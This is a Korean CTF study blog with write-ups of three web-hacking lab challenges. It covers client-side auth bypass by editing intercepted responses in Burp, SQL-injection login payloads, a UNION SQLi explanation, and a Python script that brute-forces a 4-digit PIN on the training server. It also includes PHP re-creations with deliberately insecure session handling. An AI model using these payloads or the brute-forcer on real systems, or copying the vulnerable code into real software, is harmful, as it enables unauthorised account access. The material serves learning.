못 푼 게 많다.
그런 문제는 정답은 못 맞춰도 데이터 오고가는 흐름을 정리하고
할 수 있는 건 내 나름의 로직을 짜서 비슷한 걸 만들어보려고 했다.
(지다못해 쳐발렸지만 이거라도 하면 점점 강해지겠지....)
♨ ADMIN IS MINE ♨
admin 계정으로 로그인하자!
(얘는 풀긴 함.... 얻어 걸림!!!!!)
(문제 하단 접은글에 정석 풀이와 좀 더 공들인 구현이 있습니다.)
나는 지금 doldol / dol1234
<흐름>
/4/ 인덱스 페이지 요청 -> 응답 코드 200, js코드로 login.php 리디렉션
(js로 location.hret = login.php; 할 경우
302 코드가 아니라 200 코드로 보내나 봄)
-> 로그인 페이지 요청 -> 응답 코드 200, 로그인 페이지 보여줌
-> 로그인 정보 입력, 제출 -> 제출하면 /4/js/login.js 에서 입력값 받아서 onLogin 함수 실행
-> onLogin함수에서 입력값으로 url을 만들고 loginProc.php로 GET요청
-> loginProc.php에서 받은 인자들로 로그인 검증, 인정되면 login.js로 ok 신호 보냄
-> loginProc.php로 부터 받은 응답이 ok면 login.js가 사용자를 index.php로 리디렉션 (에러메시지는 숨김)
-> 응답이 ok가 아니면 login.js가 에러메시지 노출
js 소스코드와 loginProc.php 데이터
js/login.js
const HIDDEN_CLASS = "hidden";
const loginForm = document.querySelector("form");
function onLogin(e) {
e.preventDefault();
const userId = loginForm.querySelector("#inputUserid").value;
const userPw = loginForm.querySelector("#inputPassword").value;
const url = `/4/loginProc.php?userId=${userId}&userPw=${userPw}`;
fetch(url)
.then((response) => response.json())
.then((data) => {
const resultData = data.result;
console.log(resultData);
if (resultData == "ok") {
// login Success
const errorMessage = document.querySelector("#errorMsg");
errorMessage.classList.add(HIDDEN_CLASS);
location.href = "index.php";
} else {
// login Fail
const errorMessage = document.querySelector("#errorMsg");
errorMessage.classList.remove(HIDDEN_CLASS);
}
});
}
loginForm.addEventListener("submit", onLogin);
loginProc.php
< 답(아님) >
1) doldol계정으로 로그인한다.
2) doldol이 index.php를 요청한 데이터를 리피터로 보내고 index.php?userId=admin 으로 재요청한다.
3) 플래그를 확인한다.
<답을 찾게된 이유>
먼저 SQL Injection이 일어날 가능성을 검사하기 위해
아이디 : doldol' and '1'='1
비밀번호 : dol1234
를 입력해본다. => 로그인 안됨
=> 서버가 작은 따옴표 등을 쿼리문으로 인식하지 않는 것 같다.
=> SQL Injection은 뒤로 밀어둔다.
____________________________( ↑SQL Injection 아닐 가능성이 큼 )
SQL Injection이 안된다면 로그인 페이지에서 벗어나야 한다.
이번엔 버프 스위트로 사이트가 어떻게 사용자를 인정하는지 추측해본다.
쿠키를 확인한다. 로그인 페이지 입장 시 phpsessid를 서버로 부터 받았음을 확인한다.
서버가 세션을 사용하고 있다는 뜻이다.
로그아웃하지 않은 상태에서 login.php를 요청한 다음, 다시 index.php를 요청해본다.
doldol로 로그인이 유지되고 있다.
서버는 세션을 활용해 사용자를 확인하고 로그인을 유지시키고 있는 걸수도 있다.
세션탈취를 해야할까?
그럼 admin으로 로그인한 사용자의 세션이 필요하다. 지금은 안될 것 같다.
이때 loginProc.php가 로그인 데이터를 받는 모습이 눈에 들어온다.
혹시 몰라 loginProc.php?userId=admin&userPw=dol1234 를 입력해서 보내본다.
안된다.
loginProc.php는 DB와 연동해서 입력값을 검증하기 때문이다.
그럼 index.php는 어떨까?
index.php?userId=admin&userPw=dol1234를 써서 보내본다.
안된다.
돌돌이로 로그인하고 다시 보내본다.
된다. 플래그를 발견한다.
뭐야 이거 지금 GET으로 계정을 바꾼 거야? 그럼 비밀번호 필요 없는 거 아니야?
로그아웃하고 다시 돌돌이로 로그인해서 index.php?userId=admin으로 보내본다.
된다.
풀고 나서 생각해본다. 이 사이트는 왜 이렇게 만들어야했나.
세션을 쓰고 있으면서 어째서 GET으로 사용자 계정을 바꿀 수 있게 만들었나..
흐름을 보면서 소스코드를 추측한 게 아니라 때려 맞추고 소스코드를 추측하고 있다.
얻어걸린 거라 슬프다.
___________________________( ↑ 슬픔 )
<내 사이트에서 구현해보기>
내가 만든 사이트에서도 실습해본다.
문제 사이트는 로그인 페이지에 접근한 사용자에게 세션아이디를 쿠키로 전달한다.
로그인한 사용자는 세션 아이디를 가지고 인덱스 페이지에 접속한다.
이때 인덱스 페이지에서 아이디를 다른 계정으로 요청하면
다른 사용자의 계정을 쓸 수 있다.
위의 조건을 만족하는 코드를 만들기 위해 일단 내 사이트에서 DB에 저장된 사용자의 계정으로 로그인한다.
index.php를 요청한 패킷을 리피터로 보내 "index.php?id=다른계정의아이디" 를 재요청해본다.
안된다! 당연하다. 소스코드를 수정해야한다.
index.php의 상단에 아래의 코드를 추가한다.
isset($_GET['id'])?$_SESSION['id']=$_GET['id']:"";
GET으로 받은 아이디가 있으면 세션변수로 그 값을 저장하고 없으면 초기화한 상태로 둔다.
추가로, 네비게이션 바에 사용자의 이름을 $_SESSION['id']로 확인하는 코드를 추가한다.
<li class="navbar-nav"><?= $_SESSION['id']."님 반갑습니다."?></li>
이제 사이트에 접속해서 확인해본다.
이렇게 세션과 get요청 모두 사용하는 방법으로 구현은 해보았다.
근데 이게 아닌 것 같다. 이렇게 쓸 일이 뭐가 있는지 모르겠기 때문이다.
index페이지에서 GET을 받도록 만들 이유가 있는가...
어쩌면 이걸로 계정을 바꾸려고 하니 더 이상해보이는 걸 수도 있다.
뭔가 내가 놓치고 있는 부분이 있을 것 같다.
문제 서버의 소스코드는 어떻게 생겼을지 궁금하다.
+ 그대로 두기엔 뭐해서 이전 버전으로 바꾸고
사용자가 입력한 id값 대신 찾은 DB 행의 아이디를 뽑아서 $_SESSION['id']에 저장하는 걸로 수정했다.
정석 풀이
<흐름>
(위와 같음)
/4/ 인덱스 페이지 요청 -> 응답 코드 200, js코드로 login.php 리디렉션
-> 로그인 페이지 요청 -> 응답 코드 200, 로그인 페이지 보여줌
-> 로그인 정보 입력, 제출 -> 제출하면 /4/js/login.js 에서 입력값 받아서 onLogin 함수 실행
-> onLogin함수에서 입력값으로 url을 만들고 loginProc.php로 GET요청
-> loginProc.php에서 받은 인자들로 로그인 검증, 인정되면 login.js로 ok 신호 보냄
-> loginProc.php로 부터 받은 응답이 ok면 login.js가 사용자를 index.php로 리디렉션 (에러메시지는 숨김)
-> 응답이 ok가 아니면 login.js가 에러메시지 노출
<정석 풀이>
1) 돌돌로 로그인 후 로직을 파악하고 SQL Injection 가능성을 확인.
and '1'='1이거로 로그인 안되면 일단 로그아웃.
2) 로직 분석을 통해 클라이언트 측(js코드)에서 보낸 신호를 통해
인덱스 페이지로 리디렉션함을 확인.
3) 로그인 페이지에 입장한 뒤 버프 스위트의 intercept를 활성화.
admin / qwer(아무거나) 로 로그인.
4) 잡은 요청 데이터 화면을 우클릭하고 Do Intercept -> Response to this request 클릭
(응답 데이터 잡아서 수정하기 위함)
5) forward 한 번 눌러 요청 패킷을 서버에 보냄 -> 응답 데이터 잡아챔
6) 잡아챈 응답 데이터에서 fail -> ok 로 바꾸고 forward.
(응답데이터이기 때문에 화살표 <- 이 방향)
7) 인덱스 페이지 요청 데이터 forward. -> http history에서 응답 본문에 플래그 획득.
8) intercept 탭에 로그인 페이지 요청 데이터
-> 인덱스 페이지 상단에 스크립트 코드(리디렉션) 때문.
이때문에 브라우저에서는 admin으로 인덱스 페이지에 접근할 수 없음.
9) 브라우저에서도 인덱스 페이지에 접근하기 위해서는
인덱스 페이지 요청 패킷에서 다시 한 번 Do Intercept -> Response to this request 클릭
10) 요청 패킷 forward
-> 잡아챈 응답 패킷 본문에 스크립트 코드(리디렉션 부분) 삭제
11) 다시 forward 클릭 -> 인덱스 페이지가 나타난 브라우저 확인 (+플래그)
<중요한 포인트>
여기서 가장 중요하게 봐야하는 부분은 사용자 인증 신호를 자바스크립트로 보내고
사용자를 인덱스 페이지로 보내는 것 또한 자바스크립트가 담당한다는 점이다.
녹화된 노말틱님의 강의에서 어떤 스터디원 분이 이런 질문을 하셨다.
서버가 응답을 이미 보냈는데 버프 스윗에서 그걸 수정한다고 내가 받는 값이 달라질 수가 있나요?
와씨 내가 저걸 궁금해했어야 했구나, 하고 무릎을 탁! 쳤다. (응답을 수정할 수 있다는 생각도 모댓다..)
서버가 보낸 정보 중 클라이언트인 우리가 볼 수 있는 코드가 있고, 볼 수 없는 코드가 있다.
볼 수 있는 코드는 html과 같은 클라이언트 측 언어이고 볼 수 없는 코드는 php와 같은 서버 측 언어이다.
클라이언트 측 언어는 브라우저에서 처리되고
서버 측 언어는 서버에서 처리된다.
자바스크립트는 그 중 클라이언트 측 언어이다.
앞서 말했듯이 문제 사이트는 이 두 과정을 자바스크립트로 처리한다.
1) 사용자에게 너 확인됐노라고 신호를 보냄. (ok / fail)
2) ok 받으면 index.php로 리디렉션
브라우저의 자바스크립트가 fail값을 받기 전에 내가 ok로 수정하여 ok 값을 전달했고
그에 대한 결과인 location.href = "index.php"; 라는 코드를 유도할 수 있었던 것이다.
이 페이지는 심지어 로그인을 하지 않고도 인덱스 페이지로 접근할 수가 있다.
이런 일이 가능하다는 건 인덱스 페이지에서 사용자의 로그인 정보를 검증하고 있지 않다는 뜻이 된다.
하지만 단순히 그뿐이라면 내가 얻어걸린 풀이 방법이 가능하지 않았을 것 같다.
(나는 index.php?userId=admin 방식으로 플래그를 얻었다.)
정확한 확인을 위해 이 사이트를 내 서버에서 구현해보려 한다.
<내 서버에서 구현하기>
1) login.php
POST 방식으로 js/login.js에 로그인 정보를 보내고 있다.
<?php
session_start();
?>
<!-- HTML code for Bootstrap framework and form design -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/signin.css">
<title>Sign in</title>
</head>
<body>
<div class="container">
<form action="" method="post" name="Login_Form" class="form-signin">
<h2 class="form-signin-heading">Login In</h2>
<label for="inputUsername" class="sr-only">Username</label>
<input name="UserId" type="text" id="inputUserid" class="form-control" placeholder="User ID" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input name="Password" type="password" id="inputPassword" class="form-control" placeholder="Password" required>
<div class="checkbox">
<label>
<input type="checkbox" value="remember-me"> Remember me
</label>
</div>
<button name="Submit" value="Login" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<div id="errorMsg" class="alert alert-danger alert-dismissible hidden" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
<strong>Warning!</strong> Incorrect information.
</div>
</form>
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
<script src="js/login.js"></script>
</body>
</html>
2) js/login.js
로그인 데이터를 받아 loginProc.php에 GET방식으로 데이터를 보내고
받은 결과를 통해 인덱스 페이지로 리디렉션할지, 경고문을 출력할지 결정하고 있다.
const HIDDEN_CLASS = "hidden";
const loginForm = document.querySelector("form");
function onLogin(e) {
e.preventDefault();
const userId = loginForm.querySelector("#inputUserid").value;
const userPw = loginForm.querySelector("#inputPassword").value;
const url = `/test/loginProc.php?userId=${userId}&userPw=${userPw}`;
fetch(url)
.then((response)=>response.json())
.then((data)=> {
const resultData = data.result;
console.log(resultData);
if (resultData == "ok") {
const errorMessage = document.querySelector("#errorMsg");
errorMessage.classList.add(HIDDEN_CLASS);
location.href = "admin_is_mine.php";
} else {
const errorMessage = document.querySelector("#errorMsg");
errorMessage.classList.remove(HIDDEN_CLASS);
}
})
}
loginForm.addEventListener("submit",onLogin);
3) loginProc.php
요청헤더에서 받은 데이터와 플래그 값을 세션에 저장하고
저장한 아이디와 비번이 doldol / dol1234일 경우 json 방식으로 js 파일에 결과값을 전달하고 있다.
<?php
session_start();
$_SESSION['userId'] = $_REQUEST['userId'];
$_SESSION['userPw'] = $_REQUEST['userPw'];
$_SESSION['flag'] = "segfault{플래그~~}";
header('Content-Type: application/json');
if ($_SESSION['userId'] == "doldol" && $_SESSION['userPw'] == "dol1234") {
echo json_encode(["result" => "ok"]);
} else {
echo json_encode(["result" => "fail"]);
}
?>
4) index.php
세션으로 받은 아이디가 doldol이 아니면 로그인 페이지로 리디렉션.
돌돌이 아니어도 페이지 본문을 볼 수 있게 하기 위해 else구문은 사용하지 않았다.
세션 데이터에 저장된 아이디에 따라 계정명을 출력하고, admin일 경우 플래그가 노출되도록 하였다.
<?php
session_start();
if($_SESSION['userId'] !== "doldol") {
echo "<script>location.href='admin_login.php';</script>";
} ?>
<!-- Show password protected content down here -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="css/stylesheet.css">
<title>Logged in</title>
</head>
<body>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="#">Home</a></li>
<li role="presentation"><a href="#">About</a></li>
<li role="presentation"><a href="#">Contact</a></li>
</ul>
</nav>
<h3 class="text-muted">Segfault</h3>
</div>
<div class="jumbotron">
<h1>Logged In</h1>
<p class="lead">User Name : <?=isset($_SESSION['userId'])?$_SESSION['userId']:"";?></p>
<?=$_SESSION['userId']=="admin"?$_SESSION['flag']:"" ;?>
<p><a class="btn btn-lg btn-success" href="logout.php" role="button">Log out</a></p>
</div>
<div class="row marketing">
</div>
<footer class="footer">
<p>© Segfault</p>
</footer>
</div>
<script src="../../assets/js/ie10-viewport-bug-workaround.js"></script>
</body>
</html>
이렇게 했을 때 구현된 부분이 있고, 되지 않은 부분이 있었다.
- 구현 된 부분
1) loginProc.php?userId=admin&userPw=qwer에 대한 응답이 자바스크립트로 돌아오고
그 값을 ok로 수정할 수 있었다.
2) ok로 수정할 경우 또 다시 로그인 페이지로 리디렉션 되었고 이 응답도 intercept하여 수정할 수 있었다.
3) 수정한 응답을 받으므로써 브라우저에서 admin계정 화면과 플래그값을 포함한
인덱스 페이지를 확인할 수 있었다.
- 구현되지 않은 부분
1) 인덱스 페이지에서 계정을 변경할 수 없었다. (index.php?userId=admin)
사실 이 부분은 인덱스 페이지에서 GET이나 REQUEST를 이용하여 세션 데이터를 수정하도록 하면
구현이야 가능하다.
예를 들어 인덱스 파일 상단 php코드에 아래 코드를 추가한다.
if(isset($_REQUEST['userId'])) {
$userId = $_REQUEST['userId'];
$_SESSION['userId'] = $userId;
}
이렇게 하면 리피터에서 index.php?userId=admin을 요구할 때 원하는 응답 본문을 얻을 수 있다.
(물론 브라우저에선 location.href 코드에 대한 조건 때문에 확인할 수 없다.)
풀리지 않는 의문은 저 코드가 왜 인덱스 페이지에 필요했느냐이다.
url로 간편하게 프로그래밍 결과를 확인하기 위해 추가하셨던 걸까.. 아니면 역시 저 코드가 아니라
다른 부분에서 문제가 있었던 걸까..
제대로 추측하기에 내 내공은 한참 부족하다. 그래서 당사자에게 여쭤보았다.
< ADMIN IS MINE 출제자에게 인덱스 페이지 확인 받기 >
그런...코드를 쓰지 않으신 듯하다.
게다가 지금 내가 성공했던 방법으로 다시 해보면 플래그를 볼 수 없다. 계정도 doldol 그대로이다.
그래서 노말틱님께 혹시 코드 수정하셨느냐 여쭸더니 수정하지 않았다는 답을 주셨다.
수정하지 않았으면... 돼야하는데...? 근데 안된다.
귀신이 곡할 노릇이다.
1) 내가 사실 응답 코드를 수정하는 방법을 풀었던 것 아니냐?
아니다. 난 응답 데이터를 수정할 수 있을 거라는 생각을 못했다. (젠장)
2) 캐시가 남아 있었던 것 아니냐?
캐시가 남아있다고 한들 인덱스에서 계정을 바꿀수가 있단 말인가..?
3) 자바스크립트 코드가..
뭐가 됐든 이유가 있으면 수정하지 않았으면 다시 플래그가 보여야 한다.
하지만 지금은 이 방법으론 플래그를 볼 수 없다.
코드를 수정하신 것도 아니니 코드가 이유는 아닐 것 같다.
챗 지피티에 현재 상황을 정리해서 이유를 물어보기도 했다.
챗 지피티가 꼽은 문제 원인은 서버 측 세션관리나 서버 환경, 코드의 허점 등이 있다.
세션 관리는 저 문제를 풀 당시 사이트 사용자 처리가 엉켜서 그럴 수 있을 거라는 내용이고
서버 환경 또한 비슷한 내용이다. 그때는 서버 환경이 불안정했을 수 있다는 내용이다.
코드의 허점은... 내가 지금껏 여기에 뭔가 있겠거니 찾았던 부분인데 잘 모르겠다...!!!!
.
.
.
곡~
고옥~
곡~
귀신이 곡하는 소리다!!!! 왓 어 미스테리어스.....
아무래도 이 문제는 미래의 나에게 맡겨야할 것 같다..분하다...
♨ PIN CODE CRACK ♨
사이트의 PIN 번호를 크랙해보자!
(못함!!!!!)
<흐름>
제일 먼저 index페이지 접근
-> 뭐가 없으면 login.php로 리다이렉션
-> login.php에서 핀 번호 입력
-> checkOTP.js로 입력한 핀 번호 받음. 그거로 url 만들어서 checkOTP.php로 보냄
-> js에서 보낸 사용자 입력값을 checkOTP.php에서 POST방식으로 받음
-> 다른 값 입력시 로그인에 실패했다는 alert를 표시
0) /6/ (의미없음 -> 아래에 설명 추가함)
1) /6/login.php
<script src="js/checkOTP.js"></script>
body 하단에 있는 코드이다. 외부 자바스크립트 파일을 참조하고 있다.
폼에 입력한 값을 method를 통해 바로 php 파일로 보내는 게 아니라 자바스크립트를 거쳐 보내고 있다.
2) /6/js/checkOTP.js
const btnOTP = document.querySelector("#sendOTP");
function sendOTP() {
const otpNum = document.querySelector("#otp").value;
const url = `checkOTP.php?otpNum=${otpNum}`;
location.href = url;
}
btnOTP.addEventListener("click", sendOTP);
로그인 페이지의 enter버튼(id="sendOTP")을 누르면 sendOTP 함수가 실행된다.
함수는 사용자가 입력 폼(id="otp")에 입력한 pin코드를 checkOTP.php에 붙여 url을 만들고
입력 값을 GET방식으로 보내고 있다.
3) /6/checkOTP.php?otpNum=_____
일반 사이트같으면 pin번호를 무작위로 생성해서 핸드폰 번호로 보내고
사용자 입력값을 인증하는 과정이 있을 것이다.
문제 풀이를 위해 만들어진 상황이니 pin번호는 고정되어있다고 쳐도
입력값과 pin번호를 어떤 식으로 비교하여 인증할까?
아마 가장 많이 사용되는 구문이 if문 아닐까 싶다. (아닐 수 있음.)
내가 생각하기에 쓰였을 법한 코드를 아주 단순하게 재현해 보았다.
<?php
$otpNum="1234"; // pin코드 변수에 저장
$getNum=$_GET['otpNum']; //사용자 입력값 변수에 저장
if ($otpNum == $otpNum) {
header("location: index.php");
exit; //두 값이 일치할 시, index페이지로 이동
} else {
echo "
<script>alert('Login Fail...');</script>
<script>location.href='pincode_login.php';</script>
"; // 일치하지 않을 시, 경고문 출력, 로그인 페이지 이동
}
?>
이렇게나 단순하게 짜여있을 경우 핀 번호를 입력하지 않고도 index페이지에 들어갈 수 있다.
하지만 검색창에 /6/index.php를 입력해도 안되고 /6/를 입력해봐도 login.php만 나올 뿐이다.
따라서 index페이지에 들어가려면 세션이나 쿠키 등를 통해 인증된 사용자인지 확인하는 코드가 있을 것이다.
그럼 로그인된 사용자의 쿠키나 세션 아이디를 탈취하는 방식으로 index페이지에 접근하는 방법도 생각할 수 있다.
맨 처음에 로그인된 상태였던 이유가 이거였나 싶지만 난 로그아웃해버렸고 다시 페이지를 열어봐도, 세션ID를 지우고 접근해도! 로그인 페이지가 나오니 이것저것 시도해볼 수가 없다. (쓰다보니 이 방법이 아닐 것 같다.)
맨 처음 화면이 로그인된 상태였던 이유를 알았다. 전에 푼 문제에서 얻은 세션값이 이번 문제에도 영향을 주는 거였다...하..저번 문제에서 얻은 flag도 나오는 걸 보면 flag도 세션변수에 저장하는 식인 건가...싶다..
----------------> 세션 탈취 방법은 안됨
otpNum 값, 그러니까 서버가 보낸 핀 코드를 알 수 있는 방법은 없을까?
그거는 아예 서버에 침투하든가
010-1414-1018 핸드폰과 내 버프 스위트가 연결되어야 될까 말까 할 것 같다.
내 지식으로는 역부족이다..
---------------> 서버가 보낸 핀 코드는 알 수 없다.
Brute Force를..... 하는 건 출제자의 의도와 맞지 않을 것 같다.
----------------> Brute Force는 최후의 수단!!
내가 놓치고 있는 것이 무엇일까.
모르는 게 많아서 뭘 놓치고 있는 건지도 모르겠다. 어쩌면 괜히 어렵게 생각하고 있는 걸 수도 있다.
(아니었음..)
< 파이썬을 활용한 풀이 >
슬프게도.. 스스로 생각해낸 방법은 아니다. 디스코드에서 나온 힌트를 토대로 만들었다...
결론부터 말하자면 Brute Force를 써야한다.
그러나 내가 생각한 무식한 방법은 아니다. 파이썬 코드가 필요하다.
VScode에 파이썬 확장파일을 설치하고 필요한 라이브러리를 쓸 수 없길래 내 컴퓨터에도 파이썬 깔고
requrests 라이브러리 설치하고 코드를 적어서 Run and Debug 시켰다.
flag는 찾았지만 난 개털렸다.
파이썬 공부의 필요성을 느꼈다...
아래는 완성된 파이썬 코드이다.
import requests
# 대상 URL
url = "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
# 핀 코드 생성
for pin in range(10000): # 0000부터 9999까지의 PIN을 순회
pin_str = f"{pin:04}" # 4자리로 포맷
payload = {"otpNum": pin_str} # 데이터 포맷에 맞게 수정 필요
# 요청 보내기
response = requests.get(url, params=payload)
# 서버 응답 확인 (예: 성공 메시지나 HTTP 상태 코드)
if "Login Fail..." in response.text: # 성공 조건을 확인
print(f"시도 중: {pin_str}")
else:
print(f"PIN 번호를 찾았습니다: {pin_str}")
break
1. 파이썬으로 서버에 요청을 보내기 위해 requests 라이브러리를 불러온다.
2. 요청 보낼 url을 변수에 저장한다.
3. for문으로 핀 코드 번호를 0부터 9999(10000-1)까지 증가시킬 것이다.
range 함수가 핀 코드를 1씩 증가시켜준다.
range(시작값,끝값,증가할 양)
range(10,77,2) #10부터 76까지 2개씩 증가
4. 핀 코드의 포맷을 지정하여 변수에 저장한다. (0000, 0001 등)
f"____" 이게 포맷을 지정하는 형식인 것 같고 {___} 이 안에는 변수가 들어가는 듯하다.
5. 요청으로 보낼 키-값 쌍을 변수에 저장한다.
버프 스위트에서 확인한 바는 "/6/checkOTP.php?otpNum=___"의 형태였기 때문에
otpNum이 키가 된다.
6. requests.get에 요청 보낼 url과 키-값을 저장한 파라미터값을 지정하여 요청을 보낸다.
GET요청의 경우 두번째 파라미터 값은 params로 지정되어 있고
POST요청의 경우 data로 지정되어 있다고 한다.
요청에 대한 응답을 respose 변수에 저장한다.
7. 응답 결과에 따라 핀 코드가 맞는지 아닌지 확인하는 부분이다.
응답 본문에 "Login Fail..."이라는 글자가 있으면 "시도 중: 0021" 이런 식의 포맷으로 출력하고
그런 글자가 없으면 "PIN 번호를 찾았습니다: 1021" 이런 식으로 출력하고 코드 실행을 멈춘다.
방법을 알았어도 성공 조건을 제대로 줘야 원하는 결과를 얻을 수 있었다.
성공 조건을 무엇으로 지정할 지가 관건인 것 같다.
나는
1. url에서 /6/ 찾아서 있으면 성공, 없으면 넘어가 => 0000에서 막힘
2. 위에 꺼 대신 /6/index.php로 찾아서 있으면 성공, 없으면 넘어가 => 9999까지 가버림
3. 응답 본문에서 "segfault{" 찾아서 있으면 성공, 없으면 넘어가 => 9999까지 감
4. 응답이 리디렉션이겠거니해서 응답 코드가 302이고 헤더에 /6/있으면 성공 => 안됨
5. 실패할 때 "Login Fail..." 이라는 문구를 본 기억이 나서 이거 없으면 성공 => 찾음
이런 과정을 거쳤다...
성공한 요청에 오는 응답은 200코드였고 본문에 자바스크립트로 index.php로 리디렉션을 보냈으니
1~4번 방법은 안될만 했다...
response.text에 "login.php"가 있으면 성공, 없으면 넘어가로 코드를 변경했더니
동일한 핀 코드를 찾을 수 있었다. php로 echo안에 넣었겠구만... exit로 빠져나오고....
다른 분들은 어떤 조건으로 찾으셨는지 궁금해지는 부분이다.
< 버프 스위트로 Brute Force >
파이썬을 이용하기 전에 Brute Force가 방법이고 버프 스위트에 intruder라는 기능을 알게 되었을 때
버프 스위트를 사용해보았다.
1. 엑셀로 0000부터 9999까지를 txt로 내보내기 하고
2. history에서 요청 패킷을 intruder로 보내 바꿀 부분을 선택하고 (sniper attack으로 설정)
3. payload탭에서 txt파일을 로드하여 실행함 (start attack)
4. 속도 보고 포기하기.
속도가 어느정도냐면 지금 실행한지 3시간 24분을 넘어갔는데 0000부터 0802까지 보냈다.
유료 버전(1년에 62만+a)을 사용하면 몇 초만에 찾아낸다고 하니 나중에 시도해보든가 해야겠다. 하...
< 세션 기능을 추가해 재현한 모습 >
1) pincode_login.php
2) checkOTP.js (바뀐 것은 없다.)
const btnOTP = document.querySelector("#sendOTP");
function sendOTP() {
const otpNum = document.querySelector("#otp").value;
const url = `checkOTP.php?otpNum=${otpNum}`;
location.href = url;
}
btnOTP.addEventListener("click", sendOTP);
3) checkOTP.php
<?php
session_start();
$otpNum="1234";
$getNum=$_GET['otpNum'];
if ($otpNum == $getNum) {
$_SESSION['test'] = $otpNum;
header("location: index.php");
exit;
} else {
echo "
<script>alert('Login Fail...');</script>
<script>location.href='pincode_login.php';</script>
";
}
?>
4) index.php
login.php에서 1234를 입력하지 않으면 들어올 수 없다. (로그인 페이지로 보냄)
♨ LOGIN BYPASS 3 ♨
normaltic3 계정으로 로그인하자!
(못 ㅠ 풂 ㅠ)
나는 지금 doldol / dol1234
< 흐름 >
index 페이지 요청 -> 응답 코드 302, login.php로 리디렉션
-> login.php 요청 -> 응답 코드 200, login.php 페이지 줌
-> UserId=doldol&Password=dol1234&Submit=Login을 POST 방식으로 전송
-> (login.php에서 사용자 확인 후) 응답 코드 302, index.php로 리디렉션
-> index.php 요청 -> 응답 코드 200, index.php 페이지 줌
-> 잘못된 로그인 데이터 POST 방식으로 php코드에 전송
-> 응답 코드 200, 경고문 출력
< DB문법 추측하기 >
SQL Injection이 가능할지 알아보기 위해
doldol' and '1'='1
dol1234를 입력해본다.
로그인이 된다. SQL Injection을 해야한다!
________________________________( ↑ SQL Injection 가능 )
SELECT 컬럼명 FROM member WHERE id = '____' AND pw = '____'; 일 경우
doldol'#
qwer 을 입력해본다.
안된다.
SELECT 컬럼명 FROM member WHERE id = '____'
AND pw = '____'; 일 경우
doldol' or '1'='1
qwer 을 입력해본다.
안된다.
SELECT 컬럼명 FROM member WHERE id = ('____')
AND pw = '____'; 일 경우
doldol
qwer' or '1'='1 을 입력해본다.
안된다.
(where id='___' and pw=('___'); 는 두 번째 케이스랑 비슷해보여서 생략)
SELECT 컬럼명 FROM member WHERE id = ('____') AND pw = '____'; 일 경우
doldol')#
qwer 을 입력해본다.
안된다.
내가 아는 선에서 이제 남은 건 식별, 인증 분리의 형태이다.
근데 이거 어캐하는지 몰겟음..ㅠ
그래서 못 풂..
못 풂을 길게 풀어서 기록하는 글
아, 이 문제 분리 방식이다.
를 깨닫고 내가 만든 식별 인증 분리 케이스의 코드를 뚫어지게 쳐다봤으나 대체 어캐 해야할지 감이 오지 않았다.
내 사이트에서 분리 케이스의 경우로 실험을 해봤다.
아이디를 ububtu' or '1'='1 로 입력하고 내 DB 가장 처음에 있는 계정의 비밀번호를 입력해서 로그인을 시도해보았다.
로그인에 성공했고 내 사이트는 사용자가 입력한 id를 세션변수에 저장해서 이용하기 때문에
로그인 후 ubuntu' or '1'='1님, 반갑습니다. 라는 텍스트를 볼 수 있었다.
그니까 이 경우 문제 서버의 DB에 가장 처음으로 저장된 계정의 비밀번호를 알 수 있으면 normaltic3으로 로그인할 수 있다.
근데 그걸 어케 아냐고
대가리를 깨고 있는 그때 디스코드에 어떤 분이 union을 언급하신 걸 보았다.
찾아보니 UNION SQL Injection 이라고 UNION 쿼리를 주입해서 나오는 오류문을 통해
서버의 DB 정보를 터는 방법인 듯 했다.
근데 이걸 어디에 써야할지 모르겟다.
준비된 sql문의 컬럼 개수든 테이블 명이든 오류문이 나와야 알아낼텐데 오류문이 안 나온다..!!!
로그인 폼 밖에 SQL 주입할 곳이 없는 것 같은데 오류문이 안 나와...!!!!
다른 union sql injection 자료에서 볼 땐 게시판 검색창이나 url로 페이지 로드할 때도 쓰던데...
내가 지금 어디에 그걸 써야하는지 모르겠다..!!
그래서 지금에 이르렀다.
비록 지금은 처참히 발렸지만 앞으로 이에 대해 더 배울 것을 알기에 기대되는 부분이다.
의지가 불타는 게 이게 바로 출제자의 의도인가 싶다. 차라리 그랬으면. (제발)
근데 이랬는데 식별인증 동시 방식이면 어캄?
뭘 어캐 한 1분쯤 민망하고 지나가는 거지~ 하하하
아 그리고 해싱을 한 케이스를 우회할 때랑 안 한 케이스에서 우회할 때의 차이를 모르겠다.
6주차에서 왔습니다..~
UNION SQL Injection 이라는 것을 배웠다.
원하는 SQL 구문을 주입해서 서버의 DB 데이터를 추출하는 해킹 기법인데
1) SQL 쿼리가 사용되는 곳
2) DB 데이터가 화면에 노출되는 곳
사이트 내 위 두 조건에 해당하는 곳에서 하기 딱 좋은 방법이다.
아, UNION SQL Injection으로 normaltic3의 비번을 알아내는가 보구나!
ㄴㄴ DB에 normatlic3이라는 계정이 없어도 들어갈 수 있는 방법이 있다.
이 경우 UNION SQLi는 데이터 추출을 위해 사용하는 것이 아니라
데이터 삽입을 위해 사용한다.
INSERT처럼 DB에 직접 데이터를 삽입할 필요는 없다.
이번엔 그저 DB에서 뽑아온 척하면 된다.
이때 필요한 게 union select구문이다.
select id, pass from user where id = 'doldol'
을 실행할 경우
id | pass |
doldol | dol1234 |
이런 테이블이 추출된다.
union select는 이 테이블 아래에 select한 데이터를 이어붙인다.
예를 들어,
select id, pass from user where id = 'doldol'
union select title, id from board where idx = 1
